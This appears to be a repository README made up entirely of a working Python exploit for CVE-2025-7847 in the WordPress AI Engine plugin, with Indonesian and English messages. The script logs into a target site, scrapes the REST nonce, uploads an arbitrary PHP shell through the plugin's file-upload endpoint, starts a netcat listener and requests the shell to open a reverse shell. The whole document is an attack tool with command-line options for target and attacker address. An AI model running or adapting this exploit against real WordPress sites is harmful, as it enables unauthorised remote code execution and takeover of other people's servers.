README.md
Rendering markdown...
import requests
import argparse
import os
import re
import subprocess
import threading
import time
from urllib.parse import urljoin
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def login_and_get_nonce(base_url, username, password):
session = requests.Session()
login_url = base_url.rstrip('/') + "/wp-login.php"
print(f"[*] Opening login page: {login_url}")
resp = session.get(login_url, verify=False)
print("[LOG] GET /wp-login.php status:", resp.status_code)
soup = BeautifulSoup(resp.text, "html.parser")
redirect_input = soup.find("input", {"name": "redirect_to"})
redirect_to = redirect_input['value'] if redirect_input else urljoin(base_url, "/wp-admin/")
payload = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': redirect_to,
'testcookie': '1'
}
print(f"[*] Trying login as: {username}")
resp = session.post(login_url, data=payload, verify=False, allow_redirects=True)
print("[LOG] POST /wp-login.php status:", resp.status_code)
print("[LOG] Final redirected URL:", resp.url)
if "/wp-admin" not in resp.url:
raise Exception("[-] Login gagal. Periksa username/password atau struktur WordPress.")
settings_url = base_url.rstrip("/") + "/wp-admin/"
print(f"[*] Accessing settings page to fetch nonce: {settings_url}")
resp = session.get(settings_url, verify=False)
print("[LOG] GET settings page status:", resp.status_code)
match = re.search(r'wpApiSettings\s*=\s*{[^}]*"nonce":"([^"]+)"', resp.text)
if not match:
raise Exception("[-] Gagal menemukan wpApiSettings.nonce.")
nonce = match.group(1)
print(f"[+] Nonce ditemukan: {nonce}")
cookie_jar = session.cookies.get_dict()
cookie_str = "; ".join([f"{k}={v}" for k, v in cookie_jar.items()])
return nonce, cookie_str, session
def start_nc_listener(port):
print(f"[*] Menjalankan netcat listener di port {port}...\n")
try:
subprocess.call(['nc', '-lvnp', str(port)])
except FileNotFoundError:
print("[!] Netcat tidak ditemukan! Jalankan manual:")
print(f" nc -lvnp {port}")
def upload_file(base_url, cookie, nonce, file_path, session, attacker_ip, attacker_port):
endpoint = base_url.rstrip('/') + "/wp-json/mwai/v1/simpleFileUpload"
print(f"[*] Upload endpoint: {endpoint}")
if not os.path.isfile(file_path):
print(f"[!] File tidak ditemukan: {file_path}")
return
files = {'file': open(file_path, 'rb')}
headers = {
'User-Agent': 'Mozilla/5.0',
'Accept': 'application/json',
'X-WP-Nonce': nonce,
'X-Requested-With': 'XMLHttpRequest',
'Referer': urljoin(base_url, "/wp-admin/admin.php?page=mwai_settings"),
'Origin': base_url
}
cookies = dict([c.strip().split("=", 1) for c in cookie.split(";") if "=" in c])
print("[*] Sending upload request...")
response = session.post(endpoint, headers=headers, cookies=cookies, files=files, verify=False)
print("[LOG] POST upload status:", response.status_code)
if response.status_code == 200 and 'success' in response.text:
json_data = response.json()
shell_url = json_data['data']['url'].replace('\\/', '/')
print("[+] Exploit berhasil!")
print("[-] File diunggah ke:", shell_url)
# Mulai listener nc di thread terpisah
listener_thread = threading.Thread(target=start_nc_listener, args=(attacker_port,))
listener_thread.start()
# Tunggu listener siap
time.sleep(2)
# Trigger reverse shell
print(f"[*] Memicu reverse shell dengan request ke: {shell_url}")
try:
requests.get(shell_url, verify=False, timeout=5)
except requests.exceptions.ReadTimeout:
print("[*] Reverse shell triggered (timeout expected if shell hangs)")
listener_thread.join()
else:
print("[!] Upload gagal.")
print("[-] Response body:", response.text[:500])
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit AI Engine (CVE-2025-7847) + Reverse Shell Trigger")
parser.add_argument('--url', required=True, help='Target base URL (e.g. http://localhost/wordpress)')
parser.add_argument('--username', required=True, help='WordPress username')
parser.add_argument('--password', required=True, help='WordPress password')
parser.add_argument('--file', required=True, help='Path ke shell file (e.g. shell.php)')
parser.add_argument('--attacker-ip', default='127.0.0.1', help='IP listener penyerang')
parser.add_argument('--attacker-port', type=int, default=4444, help='Port listener penyerang')
args = parser.parse_args()
try:
nonce, cookie_str, session = login_and_get_nonce(args.url, args.username, args.password)
upload_file(args.url, cookie_str, nonce, args.file, session, args.attacker_ip, args.attacker_port)
except Exception as e:
print(str(e))